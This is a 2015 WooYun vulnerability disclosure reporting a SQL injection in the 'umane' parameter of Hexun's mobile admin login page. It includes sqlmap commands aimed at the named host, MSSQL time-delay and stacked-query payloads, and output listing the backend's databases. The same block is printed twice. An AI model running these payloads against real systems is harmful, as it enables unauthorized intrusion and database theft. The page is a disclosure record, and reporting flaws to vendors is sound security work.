当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091197

漏洞标题:和讯网某后台登录处存在SQL注入漏洞

相关厂商:和讯网

漏洞作者: 玉林嘎

提交时间:2015-01-11 21:04

修复时间:2015-02-25 21:06

公开时间:2015-02-25 21:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-11: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2015-02-25: 细节向公众公开

简要描述:

rt

详细说明:

http://testwap.hexun.com/admin/index.jsp
和讯手机管理后台
存在注入
url:

http://testwap.hexun.com/admin/login.jsp?umane=test&pwd=test


umane存在注入
sqlmap -u "http://testwap.hexun.com/admin/login.jsp?umane=test&pwd=test"

Place: GET
Parameter: umane
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: umane=test'; WAITFOR DELAY '0:0:5'--&pwd=test
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: umane=test' WAITFOR DELAY '0:0:5'--&pwd=test
---
[13:51:36] [INFO] testing Microsoft SQL Server
[13:51:36] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[13:51:42] [INFO] confirming Microsoft SQL Server
[13:51:53] [INFO] adjusting time delay to 1 second due to good response times
[13:51:53] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Nginx, JSP
back-end DBMS: Microsoft SQL Server 2005


JSP+MSSQL
sqlmap -u "http://testwap.hexun.com/admin/login.jsp?umane=test&pwd=test" --dbs

available databases [13]:
[*] DB_BASE
[*] DB_CAIHUI
[*] DB_FREEWAP
[*] DB_FUND
[*] DB_JUYUAN
[*] DB_OTHER
[*] DB_VALUEADD
[*] DB_WAPPAY
[*] HIS_INFO
[*] master
[*] model
[*] msdb
[*] tempdb


漏洞证明:

http://testwap.hexun.com/admin/index.jsp
和讯手机管理后台
存在注入
url:

http://testwap.hexun.com/admin/login.jsp?umane=test&pwd=test


umane存在注入
sqlmap -u "http://testwap.hexun.com/admin/login.jsp?umane=test&pwd=test"

Place: GET
Parameter: umane
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: umane=test'; WAITFOR DELAY '0:0:5'--&pwd=test
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: umane=test' WAITFOR DELAY '0:0:5'--&pwd=test
---
[13:51:36] [INFO] testing Microsoft SQL Server
[13:51:36] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[13:51:42] [INFO] confirming Microsoft SQL Server
[13:51:53] [INFO] adjusting time delay to 1 second due to good response times
[13:51:53] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Nginx, JSP
back-end DBMS: Microsoft SQL Server 2005


JSP+MSSQL
sqlmap -u "http://testwap.hexun.com/admin/login.jsp?umane=test&pwd=test" --dbs

available databases [13]:
[*] DB_BASE
[*] DB_CAIHUI
[*] DB_FREEWAP
[*] DB_FUND
[*] DB_JUYUAN
[*] DB_OTHER
[*] DB_VALUEADD
[*] DB_WAPPAY
[*] HIS_INFO
[*] master
[*] model
[*] msdb
[*] tempdb


修复方案:

过滤

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-12 09:04

厂商回复:

处理中

最新状态:

暂无